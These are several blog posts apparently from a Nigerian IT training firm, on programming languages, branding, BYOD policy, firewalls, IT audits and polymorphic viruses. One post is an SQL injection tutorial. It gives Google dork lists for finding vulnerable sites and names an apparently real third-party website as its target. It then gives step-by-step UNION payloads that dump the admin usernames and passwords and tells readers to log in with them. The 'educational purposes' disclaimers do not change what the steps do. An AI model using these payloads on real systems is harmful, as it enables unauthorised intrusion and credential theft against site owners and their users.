C# has a common misconception that it allows building only .NET apps aimed at Microsoft platforms, but the language has an open source implementation in the form of the Mono-project, making it possible to build applications for systems ranging from Linux, OSX, Solaris to Android and even consoles like Xbox. Using the .NET framework, C# can do lot of things like building web applications and services including mobile applications too.

#7 Swift

Swift a new open source programing language created by Apple. It is used for building applications that run on iOS, Mac, Apple TV and Apple Watch. The language is more similar to Python but it is a user and developer friendly platform, designed for secure and easy coding.

Conclusion

If you are expecting me to take sides of which language you should choose, then I am sorry to disappoint you. First, you have to define your aim and purposes, comprising of what you intend to achieve by learning a language. Next, choose any language that best fits your definition and starts learning it already. Most developers will tell you it’s easy to learn, yeah it is definitely easy to learn a programming language while mastering one takes some time and practice, I think what is difficult is staying on learning a language. Most languages might not look interesting in the beginning, but as you progress it becomes more interesting.

Soutech Web Consult offers I.T training in different areas of interest. Visit Soutechventures.com/courses today.

Branding: The Foundational Piece of Your Business- Soutech Web Consult

Setting up a business is ideal for every entrepreneur, but getting it right and sustaining it is not what everyone is doing. Business ideas can just pop out of somebody’s mind, or could be generated by thoughts, necessity or analysis. It doesn’t really matter how a business idea is being generated, what matters most is how to transform it into reality and making it sustainable as well.

Most business and services in today’s world blooms and flourish continuously. Alas, a lot more suffers from some kind of suffocation and the likes of poor or no performance, shutting down before they could even start.

Take a baker for instance; if a bread is nicely baked but tasteless, should the oven be blamed? You must agree with me that the bread was already tasteless before taken to the oven, and the reason boils down to the mixture.

There are many aspects to considered when setting up your business or services, from small details to huge significant facts and given the global modernization, apparently Information Technology plays a vital role in any good business idea.

Do not forget to enroll for Mobile Application Development Training at Soutech Web Consult. Call 08034121380 for more information.

Defining a Brand is more like defining the engine that will drive your business or service to the right destination. It needs to be carefully thought of with significant aspects to be into considerations, else the proposed business or service will end up like the “nicely baked but tasteless bread” illustrated above, irrespective of the financial power invested.

In this article we will focus on branding as a foundational piece of your business.

Soutech Web Consult Branding

WHY BRAND?

It obviously no doubt that a strong brand is priceless as the battle for customers intensifies day by day. Your brand is the source of a promise to your potential consumers, so it is important that you spend quality time investing in research, defining and building your brand. To start-up your business in the right way, you would not want to be without your brand as it a foundational piece in your marketing communication. You should know that brand is strategic while marketing is the tactical process used to present your brand to consumers. No doubt, it carries a great deal of significance within a business or organisation as well. Brand can be referred to as guide to understanding the purpose of business objectives, enabling you to align a marketing plan with the objectives and fulfill the primary strategy.

EFFECTIVE BRAND

Apparently, the desired effectiveness of a brand does not just happen before a purchase, the life of the brand of the experience it gives a consumer is also considered.

Although branding can be confusing, it is important to know if your brand is strong enough to give the internal and external value that you need in your marketing. Hence you will need to solve the following questions:

  • How does your brand relate to your target audience? Will they instantly “buy it” without too much thought?
  • How does your brand share the uniqueness of what you offer and why it’s important?
  • How does your brand reflect the promise that you are making to who you are targeting as well as to your internal audience?
  • How does your brand reflect the values that you want to represent as a customer?

Soutech Web Consult - Branding

TARGET AUDIENCE

Consider if the products or services to be offered will perform as expected, if the quality is as good as promised or even better, not forgetting what the service experience is like. If you can get a positive picture of all these, then you have a loyal customer. Creating loyal customers is awesome and necessary, but brand also creates loyal employees as well. It gives them something to believe in and stand behind, helping them in understanding the purpose of an organisation or business as the case may be.

HOW TO STEP AHEAD AND GET IT RIGHT

Most business owners do not believe that brand is an important element to consider in every business or services but Soutech thinks otherwise. There could be thousands of business out there selling same product and or services you intend to start-up. If you want consumer to see you as the originator, then you should consider your brand potentially important and need to be position as the original so as to keep the market share.

Soutech Web Consult is the place to be if you really want your brand to stand out from the crowded market. At Soutech, professional I.T. services and e-Business consulting are being offered.

 

Tutorial on SQL Injection: SOUTECH Ventures

What is SQL Injection?

SQL Injection often referred to as seqel-i or structured query language is a malicious attempt on a website whereby an attacker injects an SQL command (payload) into an SQL statement which controls the database of a web application. The web application can also be referred to as Relational Database Management System (RDBMS) and it has a web input field.

SQL injection vulnerabilities have been known to damage websites or web apps that use SQL-based database. SQLi’s have been known over time to be one of the lethal means of attacking websites whereby an attacker attempts to exploit a web application. In order to bypass the authentication and authorization mechanisms in a web application, the attacker will attempt to gain unauthorized access to the web app using SQLi. The attacker or malicious user after gaining access into the web application, can delete, modify or even update the database, make changes to the columns or rows depending on what their intentions are at the time. When this is done, the data integrity of the SQL-based database will be compromised.

How Does SQL Injection work?

In order to exploit the web application, all the attacker has to do is to find an input field that is embedded in the SQL query of the database. A vulnerable website requires a direct user input in the SQL statement in order for an SQLi attack to take place. When this is done, the attacker then injects the payload which is included in the SQL query which in turn is used to launch the attack on the web server.

Before you launch any attack, you have to check the server to see how it responds to user inputs for authentication mechanism. Use the following queries to verify the users authentication mechanism:

 

 

 

 

// define POST variables
$Uname = $_POST[‘name’];
 $Upassword = $_POST[‘password’];

// sql query vulnerable to SQLi
$sql = “SELECT id from users where username = ‘Uname’ && password = ‘Upassword’ “;

// execute the sql query by database
database.execute($sql);

The codes above are vulnerable to SQL injection and the attacker can submit the malicious payload in the SQL query gain access to the web application by altering the SQL statement that is being executed.

One example of an SQL injection payload that can be used to set a password field is

Password’ OR ‘1’=’1’

where this condition is always true, the result of this query being run against the web server is

SELECT id FROM users WHERE username=’username’ AND password=’password’ OR 1=1’

What an attacker can do with SQL?

SQL is a programming language that is used to work with the relational database management systems. Like I said earlier, SQL’s can be used to delete, modify or update databases or columns, rows, tables within the RDBMS databases. SQL is one powerful language that can be used to attack databases and can be used by attackers to exploit databases of web applications, taking total charge of the application without the knowledge of the administrator.

Having said all this, let us see what an attacker can use SQLi to do.

  • It can be used to bypass authentication mechanisms or to impersonate a specific user
  • It can be used by an attacker to delete records from a database and even if an authorized backup plan is used, deleted data can affect the availability of an application until the database can be restored.
  • SQL’s can be used to select data based on a set of input queries which gives outputs of the query. It could allow the disclosure of data residing on the web server.
  • SQL’s can be used to alter or modify data in the database. And as you know when data is altered, the integrity is lost and issues regarding repudiation can come up such as voiding transactions, altering balances and other records.
  • The database of web servers are configured to allow the arbitrary execution of operating system commands. When are conditions are present, a malicious user can use SQLi to bypass firewalls and penetrate the internal network.

Using SQL Injection to Hack a Website

Now let us see how we can use SQL injection to hack websites

Step 1

The first thing is to search google for “google dorks”. I have gotten the following results from my search. You can as well search for yours.

about.php?cartID=
accinfo.php?cartId=
acclogin.php?cartID=
add.php?bookid=
add_cart.php?num=
addcart.php?
addItem.php
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=
adminEditProductFields.php?intProdID=
advSearch_h.php?idCategory=
affiliate.php?ID=
affiliate-agreement.cfm?storeid=
affiliates.php?id=
ancillary.php?ID=
archive.php?id=
article.php?id=
phpx?PageID
basket.php?id=
Book.php?bookID=
book_list.php?bookid=
book_view.php?bookid=
BookDetails.php?ID=
browse.php?catid=
browse_item_details.php
Browse_Item_Details.php?Store_Id=
buy.php?
buy.php?bookid=
bycategory.php?id=
cardinfo.php?card=
cart.php?action=
cart.php?cart_id=
cart.php?id=
cart_additem.php?id=
cart_validate.php?id=
cartadd.php?id=
cat.php?iCat=
catalog.php
catalog.php?CatalogID=
catalog_item.php?ID=
catalog_main.php?catid=
category.php
category.php?catid=
category_list.php?id=
categorydisplay.php?catid=
checkout.php?cartid=
checkout.php?UserID=
checkout_confirmed.php?order_id=
checkout1.php?cartid=
comersus_listCategoriesAndProducts.php?idCategory=
comersus_optEmailToFriendForm.php?idProduct=

This is just a few of the basic dorks that are available but you can also create your own dorks in order to find websites. These dorks can help you find out sites that are vulnerable to SQL injections in order to bypass the authentication.

STEP 2

Search google for SQL-vulnerable websites. Next thing is to open one of them to check if they can be vulnerable to SQLi’s.

I will use this website as an example.

http://www.tadspec.com/index.php?id=44

Now after you choose your link, make sure it is different from mine because there are many available sites.

Please note, that this practical session is just for educational purposes and therefore I do not in any way take responsibility for your actions.

Now lets check if the site I have chosen is vulnerable to SQL or not. This can be done by putting this code behind the URL

.php?id=44   (You can copy and paste it with an apostrophe (‘) at the end of that code.

If after you do this and you get a result like this;

  • “You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1.”

Then bingo, then site is vulnerable an SQL injection attack. Therefore, we can go ahead to the next step.

STEP 3

In this step, we have to check the number of columns that are available on the database of the website. We can manually input these numbers, so we can check the columns;

http://www.tadspec.com/index.php?id=44 order by 32

 

Please note that the number “32” is an arbitrary number and it varies depending on the number of columns you may find. So, you have to make an arbitrary attempt to check the columns that are available on the database.

After putting “32”, this is what you get

Unknown column ‘32’ in ‘order clause’

And if we put the link below in URL,

http://www.tadspec.com/index.php?id=43 order by 31

This will redirect us to the website’s homepage which means that it is working correctly.

It therefore means that the number of the columns available on the database of this website is 31.

STEP 4

In this fourth step, we’re going to be determining the version of the database.

We will use the following query;

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,6,7,8,9,10,11-

When you run this query, you will get a number that shows boldly on your screen. Mine is 6. So, in the place of 6 in your URL, replace t @@version. This will give you the version that would give you the version of the SQL database that the website uses.

So, you have something like

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,@@version,7,8,9,10,11-

STEP 5

We will use the next query ‘group_concat(table_name)’ on the place of column#6 and some other string in the last part of the code.

So, its going to be like this;

http://www.tadspec.com/index.php?id=null union all select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11-from information_schema.tables where table_schema=database()-

Now the result of this query will be the names of the database tables. You can just copy them if you desire to use them for further analysis.

STEP 6

We will now try to find the column names in the database by changing the table to column in the fields.

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,group_concat(table_name),7,8,9,10,11-from information_schema.columns where table_schema=database()-

When you enter this query, the result you will get will be the names of the different tables that are present on this website.

STEP 7

Recall that in the previous step, we were able to get the names of the columns in the database so the next thing is to search for the column called “credential” because it can be used to retrieve sensitive data such as usernames and passwords. These are the columns that give access to the database.

Use this query to navigate there;

http://www.tadspec.com/index.php?id= null union all select 1,2,3,4,5,group_concat(username,0x3a,password),7,8,9,10,11-from admin-

The group_concat() method was used to pass the username and then the 0x3a which is used for space and then the other column name. We removed the query and wrote admin table at the end of it and it means we are using the column names from the admin table.

If you have succeeded in this, then Congratulations you successfully performed an SQL injection.
Go ahead search the website login page and input those credentials in the fields present.

Please note that this tutorial is strictly for Educational purposes. We at SOUTECH are not responsible for your actions.

I have withheld some of the diagrams and pictorial explanations and if you must learn about them, enroll to our CEH course to learn comprehensively about this subject topic and more. Call us today.

 

Soutech-Web Consult

Key Languages Web Developers Should Learn – Soutech Web Consult

Web Application Development is obviously a desirable skillset, not to mention that it is also a lucrative one. When it comes to return on investment in education, Web developers rank among the top, with attractive salaries based on job roles and skill set.
Nevertheless, the internet has a lot of predictability that the number of Web developer jobs will continue to grow through 2022. The global demand for Web developers is very high, making it harder and more expensive for companies to hire top talent. It also means that those skilled in Web development have options to demand a premium in salaries and perks.

Zach Sims, CEO of Codeacademy said – “In today’s professional world, it’s essential to stay on the cutting edge, programmers who learn many Web languages are able to stay versatile and keep a pulse on the evolving professional needs within their field.”

The question is; which languages are essential for any Web developer to learn, especially if they want to lock down a good salary?

CCS – Style Knows No Extinct

CSS –  Stands for Cascading Style Sheets, a stylesheet language that is responsible for the layout, style and how your website looks and behaves on the browser. It ensures proper spacing, alignment and the integrity of other key design elements. One without an in-depth CSS knowledge will find it difficult designing a Website because the language dictates so much in terms of look and feel of a website. Anyone who wants to be a web developer cannot overlook CSS.

Learn at Soutech

PHP: The Basis of Key Platforms

PHP which stands for Hypertext Processor (recursively), is a server-side scripting language responsible for many of the world’s most popular Web platforms, including WordPress. Dogged with security issues periodically yet, PHP boasts an elasticity that makes it valuable in everything from standalone graphics applications to generating HTML code.

It is a good practice to become familiar as possible with the platform’s open-source libraries when you learn PHP and to know how to interacts with database servers such as MySQL and PostgreSQL. If you’re interested in building up your PHP knowledge, Soutech Web Consult has tutorials that are specifically prepared to enhance your skillset. Scrapping from conditionals to arrays to loops, there are lots of things to learn about PHP, but once you know what you’re talking about and how to fix issues and bugs, you’ll be far ahead of competitors for many must-have jobs.

JavaScript: Everyone Wants an App

Topping the lists of most-popular programming languages in the World on a regular basis; is JavaScript. With good reason off-course, alongside CSS and HTML, it helps power huge number of Websites around the world. JavaScript is an interpreted programming language that allows programmers to create critical workflows, games, mobile\web apps, and just about everything else that jumped into their head.

It basically combines a series of items, including data structures, objects, and countless other elements, to help users build whatever they desire. Needless to say, it is a versatile platform, but also one with a lot of moving parts. Developers who intend learning JS will need to explore everything from choosing the right frameworks to advanced tools such as strict mode. JavaScript knowledge can also be parlayed into mobile development. “We often encourage beginners in mobile applications to get familiar with JavaScript.

Soutech-web-development

HTML – Anywhere There is The Web…

HTML which stands for “hypertext mark-up language” has been around like forever, and it’s perhaps the easiest of any Web language to learn. It remains significant as the Web’s standard markup language. Given its age, discussions on HTML and its importance are kind of old. But any newbie getting into Web Development should learn the basics of HTML, understand how to create different tags, and design simple Websites for practice.

Conclusion

To be a successful Web Developer, it is not enough to focus on just one of these languages. Although being flexible will unlock a lot of opportunities for success, but these languages are not necessarily standalone. For instance: HTML will need CSS for look and feel, likewise JavaScript will need HTML for output, depending on what you desire to build. The idea is to not only learn thoroughly but also put yourself in a flexible mindset that will allow you to adapt to the inevitable changes in languages and methodologies. All seasoned Web Developers knows that there is always something to learn.

Soutech Web Consult specializes in training individuals how to become successful developers. Visit Soutech Web Consult, select a package and begin training to today.

Setting up a Bring-Your-Own-Device (BYOD) policy for your Organization- Be Cyber-safe-SOUTECH

In a recent survey by Symantec, it said that about three to four small and medium-sized organization owners have adopted smartphones and tablets as a core part of achieving their teams’ success. Since the use of these devices are gradually expanding, therefore there is a need to provide an apt security for them. This is the main reason why organizations have adopted the bring-you-own-device concept an approach that is commonly referred to as BYOD.

The fact that smartphones and tablets have grown into consumer markets have made a lot of employees choose employ the Bring-Your-Own-Device concept to their places of work. So, I’ll be giving you a few tips on how to stay protected on the internet as mobile devices have become a core entity in many organizations.

Therefore, the idea of developing a sound and efficient BYOD policy that can assist in gaining a maximum productivity in your organization or your company.

These are a few things I will buttress on this point which are the necessities for every organization;

1.Assessing the needs of Your BYOD 

One of the key things you can do is to brief or engage your employees and staff in talks regarding the use of their devices in the organization for business transactions. The things you need to find out are;

  • Do they access the company server and read emails related to work or the business?
  • What operating systems and the devices they employees use in order to access their network?

This information will guide your policies and help you to dictate the scope of your policies and the measures you can take to secure your devices. It can also help you to in making choices of the security softwares you can deploy to protect their devices.

2. Always Educate Your Employees

Endeavour to talk to your employees and team members on the potential risks of using mobile devices in and out of the office including the importance of managing these any related risk. It must be made compulsory for employees to follow security best practices, which include:

  • Employing the use of complex passwords for their devices and for any program that is related to work which are accessed using those devices.

                                 

These passwords can be set by navigating through the device’s settings. Learn more about creating strong passwords.

  • Employing a regular password changing policy. For example, changing passwords quarterly or every 90days. You can use password manager services like KeePass or LastPass which is capable of helping employees manage multiple and regular password changes.
  • Always ensuring that system updates and app updates are done once the device prompts for them. This is done in order to protect against any possible security vulnerabilities.
  • Being on the lookout for phishing text messages and emails which can be avoided by avoiding to click on such links that prompt them to download files and documents from unknown pages.
  • Doing a thorough research on applications before having to download them unto devices. Employees should be discouraged from downloading applications from unofficial or third-party app stores.

3. Strong Protective measures must be implement

Products that will assist employees to build their strength and ability of their devices when used for business should be explored. A very good tool is the Norton Small Business software that performs the function of protecting mobile devices against malwares associated with mobiles.Research has had it that many devices running on Android platforms carry potential malwares and privacy loopholes and greywares which are capable of hindering productivity. However, there have been new products that provide more security including remote locate and lock and wipe features. These features allow mobile users to manage their device security from a central web portal. Consider using a VPN (Virtual Private Network) service if the employees access the company’s network remotely with their mobile devices. A VPN creates a tunnel that is encrypted in the internet which allows traffic to pass through it. There are mobile apps that allow users to connect to a VPN via their mobile devices or smartphones.

4. Acceptable Use should be properly defined

Guidelines should be outlined to clarify and define how employees can use their devices during business hours for business purposes. For instance, you may employ a pervasive policy by allowing your team members to access documents and emails, but prohibiting them having access to sensitive files such as financial data. Websites and apps that are prohibited from accessing with the company VPN during work hours should be specified.

5. Decide how these Guidelines are Enforced

Setup due consequences for any member of your team who goes against any of the outlined policies. Measures could be that if anyone accesses those prohibited apps or softwares during business hours it could result in warning and if anyone downloads or stores confidential files from a malicious app, such persons will not get funding for their mobile devices.

These measures should be outlined clearly with how any potential violations will be handled.

If you run a business or an organisation that encourages the BYOD policy, thinking through these steps and few tips should be able to guide you through building a firm foundation and an effective way to manage your infrastructure and protect it from any possible security breaches.

You can learn about a lot of more tips on how to better manage your infrastructure along proper auditing skills from SOUTECH ventures. We offer the best IT consulting solutions to our clients in Abuja, Lagos and Port Harcourt. Subscribe to our Ethical hacking course and learn more.

 

Protect your Infrastructure-Know the Importance of Firewalls : SOUTECH Cyber security training program Nigeria, Africa

A firewall just as its name implies is a protective barrier whose function is more like a physical firewall. The firewall lies just between the computer and the connection it has with the internet to provide protection from any form of online threats.

A firewall is a software program or a piece of hardware device that is programmed to provide security for your computer by placing limitations on information that you can receive from an external network. A firewall is designed to either allow or block information coming in or out of a network based on certain security policies.

The term firewall came into the cybersecurity world as a borrowed term from the word firefighting where an effort is made to prevent the spread of fire.

Organizations actually started moving from the use of mainframe computers and dumb clients in a client-server model and therefore the need to put a control over the server became a top priority. Before the introduction of firewalls in the late 80’s, the only form of protection from the outside world was the use of Access control lists (ACLs) resident in routers. The function of the ACLs was to choose which IP address to grant or deny access to a certain network.

Due to the swift growth of the internet and increased rate of connectivity of people and organizations to networks, it gradually meant an end of the ACL as a filtering method which was not enough to keep of malicious traffic. This was so because basic about network traffic was embedded in the packet header. The first organization to deploy the use of firewalls to tackle the threat of cyberattacks was the Digital equipment Corp (DEC) in 1992.

 

Types of Firewall Techniques

  • Packet Filter Firewalls: This type of firewall handles the packets going in or out of the network based on pre-defined rules by the user. The packet filtering ability is fairly transparent and effective to users however can be difficult to configure. It is however very susceptible to IP spoofing.
  • Application gateway Firewalls: This type of firewall applies security configurations  to specific applications like the Telnet and FTP servers. The application gateway firewall is very effective but can impose some performance degradations.

  • Circuit-level Gateway firewalls: This firewall type applies its security configurations when a TCP or UDP connection has been established. Therefore, once this connection is established, the packets begin to flow between the hosts without any further verification.

  • Proxy Server Firewalls: This firewall type intercepts all the messages that go in and out of the network. The proxy server firewall cascades or hides the real network address of the host.

 

The benefits of a firewall

  • It prevents any unauthorized user from an external network from gaining access to your internal network i.e. your computer in your network.
  • It monitors all forms communications that goes on between your computer and other computers outside of you network and over the internet.

  • It establishes a protective shield that either allows or blocks any attempt to access data or information on your computer.
  • It sends out a warning when any other computer tries to connect to you.
  • It also warns against any illegitimate connection by an application on your computer that gives access to other computers.

The Limitations of a Firewall

Firewalls however have not been able to determine the contents of email messages that are sent to your computer so they cannot you from malware sent through phished emails.

So therefore:

  • The need for antivirus softwares that can detect, quarantine or delete suspicious email attachments
  • Learn to protect yourself from phishing scams

If you have a private network, ensure that you protect your devices by configuring the firewall settings on your computers and wireless router. You can also add an extra level of security to your personal computers by using security softwares. However, even if your wireless network may seem secure, it may not be secure from other types of malware that can be gotten from computers through the internet.

Build your firewalls such that it can defend you against hackers and viruses. You can do this by always ensuring that your firewall is turned on. You can configure the firewall settings in the security and privacy section which can be found under your systems preferences section.

Also ensure to do regular updates of your anti-virus software as an extra security measure. Please note that firewalls and anti-viruses are not the same thing

Finally, asides the protection a firewall offers you, learn safe online practices.

If you need to learn about firewall configurations, and purchase latest and licensed anti-virus softwares contact us at soutech ventures. Subscribe to us today for all types of IT trainings and consultations you may require.

Understanding the importance of an IT audit: SOUTECH Ethical hacking tips

An IT audit is an audit that deals with the review and evaluation of all automated and non-automated information processing systems and all the interfaces that it encompasses. It also includes setting up management controls for information technology and infrastructures.

The elementary function of IT audits includes, evaluation of systems that are already in place to guard the organization’s information. It looks into the ability of an organization to protect its assets as well as be able to legitimately and adequately give out information to authorized parties.

The process of planning IT audits involves two key steps

  • Gathering information and planning
  • Gaining an understanding of the already existing internal control structures

Many organizations are gradually phasing towards the approach of risk-based audits which is used for risk assessment and to help the IT auditor to decide on whether to carry out a compliance and substantive test. The risk based approach involves the IT auditors relying on the internal and operational controls and also the knowledge of the organization involved.

However, this type of decision as regards risk assessment can go a long way to relate the profits analysis of the control to the risk.

These are the 5 aspects that an  IT auditor needs to identify when gathering information:

  • Good knowledge of the business and industry
  • Previous results obtained from all the years
  • Recent financial data
  • Already existing standards and policies
  • Inherent risk assessments

Inherent risk here refers to the risk that there is an error that could be a function of combined errors that are encountered during this audit assuming there are no controls in place.

Once the auditor has gathered relevant information and has an understanding of the control, then they are ready to start planning or select areas that need auditing.

Why is it important to do an IT Audit?

Hardly will you find an organization in recent times that is not IT driven. A lot of organisations today are investing huge amounts of cash on their IT infrastructure because they have come to realize the tremendous importance of using IT in their business services and operations. As a result of this, they need to always make sure that their IT systems are very secure, very reliable and is not susceptible or vulnerable to any form of cyber attacks.

The importance if an IT audit can never be over emphasized because it provides the assurance that the IT systems deployed by the organization is well protected, is available at all times, properly managed to get the required results and that it gives out reliable information to users. Many people use and rely on IT without knowing how it works and that a computer can make errors repeatedly and incurring extensive damages than a human being can. An IT audit is also very important in reducing risk of data leakage, data losses, service disruptions and ill-management of an IT infrastructure.

The Objectives of an IT audit

The objectives of an IT audit often focus on substantiating that the existing internal controls and are functioning as expected in order to minimize business risk. The objectives include

  • Assuring compliance with legal and regulatory standards
  • Ensuring confidentiality
  • Ensuring Integrity
  • Improving availability of information systems

Confidentiality here relates to information security and refers to protecting information from being disclosed to unauthorized persons or parties. This means that information such as personal credentials, trade secrets, bank account statements are kept confidential and protecting this information plays a major role in information security.

The fact that information is valuable only when it has not been tampered with gives way to data integrity such that information is not modified by an unauthorized party. If information is inappropriately altered, it could prove costly for example, a transaction of 1000naira can be altered to 10,000naira. Making sure data is protected from being tampered with is a core aspect of information security.

Availability here means that information is made available to authorized individuals whenever it is needed. Unfortunately, the act of denying rights to resources to rightful users has been in on the rise lately. An information systems audit will therefore ensure confidentiality of an organizations data, data integrity and availability of resources. An IT audit therefore oversees the organizations IT systems, its operations and management processes.

The reliability of data from an IT system can as well have huge impact on the financial statements of an organization. There an IT audit must be able to

  • Check for instances of excesses, gross inefficiencies, extravagance which has to do with wastage of resources in the management of IT systems
  • Ensure that there is a high level of compliance with government laws as applicable to the IT system.

Types of IT audits

Different bodies and authorities have developed their views to distinguish the types of IT audits. Goodman and Lawless have outlined three systematic approaches to perform IT audits

  • Technological Innovation Process Audit: This audit type attempts to construct a risk profile for already existing as well as new projects. It assesses the length, depth and presence of the technologies used by the company and how it relates to the relevant markets. It also looks into the way each project is organized, the structure of industry as regards its projects, products etc.
  • Technological position audit: This audit type deals with the technologies that the business has on ground and what it needs to add to it. Technologies can be categorized into
    • Base
    • Key
    • Pacing
    • Emerging
  • Innovative Comparison Audit: This audit deals with the analysis of the innovative capabilities of the organization being audited when compared to its competitors and rivals. The company’s research and development facilities as well as its track record of producing new products will be examined.

Other authorities have also categorized IT audits in 5 spectrum

  • Information Processing Facilities: It is focused on verifying the processing ability of the facility and if it is designed under normal and disruptive conditions to process applications in a timely, accurate and efficient way.
  • Systems and Applications: It is focused on verifying systems activity are controlled appropriately, efficiently and adequately in order to ensure its output at all levels are valid, reliable, and timely. This audit type forms a sub-type that focuses on business IT systems and also focuses on financial auditors.
  • Management of IT and Enterprise Architecture: IT focuses on verifying that organizational structure and procedure that ensures a controlled and efficient information processing environment is developed by the IT management.
  • Systems Development: This audit verifies the systems that are under the process of development meet the requirements and objectives of the organization. It also ensures that the systems are developed in line with generally accepted policies and standards for systems development.
  • Client/Server, Intranets, extranets and Telecommunications: This audit verifies that the controls for telecommunications are in place both the client and the server ends as well as the network that connects both the clients and servers.

Types of Auditors

  • Internal Auditor: This auditor usually performs internal accounts auditing as well as IS audits.
  • External Auditor: This auditor reviews the findings and inputs, processes and outputs of the information systems made by the internal auditor.

Types of Audits

  • Internal Audits: As explained above, an internal audit considers all the potential controls and hazards in an information system. It takes care if issues like operations, data, data integrity, security, privacy, software applications, productivity, expenditures, cost control and budgets. The auditor works with guidelines such as Information systems audit and control association which are available to make their job patterned.
  • External Audits: This audits buttresses on information obtained from internal audits on information systems. External audit is performed by an certified information systems audit expert.

IT Audit Strategies

  1. We’ll discuss two areas here but first one must be able to determine if it is a compliance or substantive testing. The next thing to consider is how to go about gathering evidences to enable one perform application audits and make reports to the management.

What is substantive and Compliance Testing?

  • Compliance testing involves gathering evidence to test if an organization is following the control procedures. For example, If an organization has a control procedure that says all application changes have to pass through a change control, an IT auditor will have to get the current running configurations of the router as well as the configuration file. After he does this, he can then run a file to compare the differences and use the result of the differences to look for a supporting change control documentation.

  • Substantive Testing involves gathering evidence that enables one evaluate the data integrity of individual data and other information. For example, If an organization has a policy that has to do with backup tapes in storage locations offsite which includes three generations (Grandfather, father and son), then the IS auditor has to take physical inventory of the tapes in an offsite storage location as well. After this he can then compare it with the organizations inventory and also making sure the three generations are involved and are available at the time of the audit.
  1. The thing to discuss on is How to get the evidence that can help you audit the application and deliver a report to management. A few things you can review are;
  • Review the IT organizational structure
  • Review the IT policies and procedures
  • Review the IT standards
  • Review the IT documentations
  • Review the organizations BIA
  • Take time to interview employees
  • Observe the employee’s performance
  • Test controls and examine necessary incorporated entities
  1. Draft out a set of questionnaires
  • Whether there is a thorough documentation of approved IS audit guideline?
  • Whether IS audit guidelines are consistent with the security policy?
  • Whether responsibilities for the IT audit has been assigned to a separate unit that is independent of  the IT department?
  • Whether periodic external IS audit is carried out?
  • Whether independent security audit is conducted periodically?
  • Whether contingency planning, insurance of assets, data integrity etc. are made part of External audit?
  • Whether vulnerability and penetration testing were made part of external audit?
  • Whether the major concerns brought out by previous Audit Reports have been highlighted and brought to the notice of the Top Management?
  • Whether necessary corrective action has been taken to the satisfaction of the Management?
  • Whether the facilities for conducting trainings which will enable IS audit teams to conduct the audit process effectively?
  • Whether IS audit team is encouraged to keep themselves updated?
  • Whether IS auditors exchange their views and share their experiences internally?

Operations is modern organizations  are increasing dependent on IT, this is why IT audits are used to make sure that all information-related controls and methods are functioning properly. Most of all the companies if not all are IT driven and not enough awareness has been made on auditing of IT infrastructure the reason for this write up. If you’re in search of a professional firm to audit your organization, look no more as soutech web consults which is the number one IT consulting firms offers in Nigeria offers this service. Subscribe to us for your auditing and all types of IT-related issues.

 

All you need to know about Polymorphic Viruses

Polymorphic viruses have over the years been one of the most difficult and complex viruses to detect. Anti-virus manufacturing companies have had to spend days and months trying to create detection routines required to track a single polymorphic.

I’ll attempt to discuss about polymorphics and some of the detection mechanisms existing and also introducing Symantec’s striker Technology, a patent-pending mechanism for detection of polymorphics.

The Norton anti-virus 2.0 was the maiden version to include a striker for possible detection of polymorphics.

 The Evolution of Polymorphic viruses

A computer virus can be defined as a self-replicating computer program that functions without the permission of the user. In order to spread, it attaches a copy of itself to some part of the program such as a word processor or a spreadsheet. A virus can also attack boot records and master boot records that contain all the information that a computer needs to startup.

Some viruses can replicate themselves, some may display messages input by its creator, some can be designed to deliver a part of a payload to corrupt programs, delete files, reformat a hard-disk drive, shutdown or crash a corporate network. I will quickly discuss about some viruses before we can relate it to polymorphic viruses.

Simple Virus

All a simple virus does is to replicate itself such that if a user launches the program, the virus gains control of the computer and attaches a copy of itself to other program files. After it spreads successfully, the virus transfers control back to the host program, which functions normally. You can perform a simple anti-virus scan to detect this kind of infections.

Encrypted Virus

The mode of operation of the encrypted virus was via signatures. Its idea was to hide the fixed signatures by scrambling the virus therefore making it unrecognizable by the virus scanner.

An encrypted virus is made up of a virus decryption routine as well as an encrypted virus body such that if the user launches the infected program, the virus decryption routine first gains control of the computer, then decrypts the body of the virus.

                                            An Encrypted Virus

Polymorphic viruses

The polymorphic virus is built in such a way that it has a scrambled virus body and a decryption routine that first gains control and then decrypts the virus’ body. However, it possesses a third component which is a mutation engine that sort of generates randomized decryption routines which change each time the virus infects a new program.

The mutation engine and the virus body are both encrypted such that when a user runs a program infected with a polymorphic virus, the decryption routine first gains control of the computer, then decrypts both the virus body and the mutation engine.

                             An Encrypted Virus before execution

 

                                 An Encrypted Virus after Execution

The decryption routine then transfers control of the computer to the virus, which locates a new program to infect. At this point, the virus makes a copy of both itself and the mutation engine in random access memory (RAM). The next thing the virus does is that it invokes the mutation engine, which will randomly generate a new decryption routine that will decrypt the virus and yet does not bear any resemblance to the previous decryption routine. The virus encrypts the new copy of the virus’ body and the mutation engine. Finally, the virus then attaches this new decryption routine, alongside the newly encrypted virus and mutation engine to the new program.

Decrypt virus

                                                      A Fully decrypted Virus

So, we can see that not only is the virus’ body encrypted, but the decryption routine varies from infection to infection. This therefore confounds a virus scanner searching for the tell-tale sequence of bytes that identifies

a specific decryption routine. With a signature that is not fixed to scan for, and a non-fixed decryption routine as well, no two infections look alike.

Detecting a Polymorphic Virus

Anti-virus researchers launched an attempt to fight back by developing special detection routines crafted to detect and catch each and every polymorphic virus. Special programs were written by line for line which were designed to detect various sequences of computer codes known to be used by all the mutation engines to decrypt the virus body.

This approach was not feasible, it was as well time consuming and costly. Every new polymorphic virus needs its own detection program and also, a mutation engine which produces seemingly random programs which can properly execute decryption and some mutation engines to generate billions of variations.

Moreover, a lot of polymorphics make use of the same mutation engine, credits to the authors of viruses like dark avenger. In addition to this, different engines are being used by different polymorphics to generate a similar decryption routine, which can make identification of the virus solely based on decryption routines wholly unreliable.

This approach can be misleading by identifying one polymorphic as another. These shortcomings led anti-virus researchers to develop generic decryption techniques that trick a polymorphic virus into decrypting and revealing itself.

To gain more knowledge about all forms of malwares with malware analytical skills subscribe to our CEH course at Soutech Ventures. We have trained and seasoned experts to give you both theoretical and hands-on ethical hacking knowledge and skills.

All you need to know about Penetration Testing: Soutech Ventures

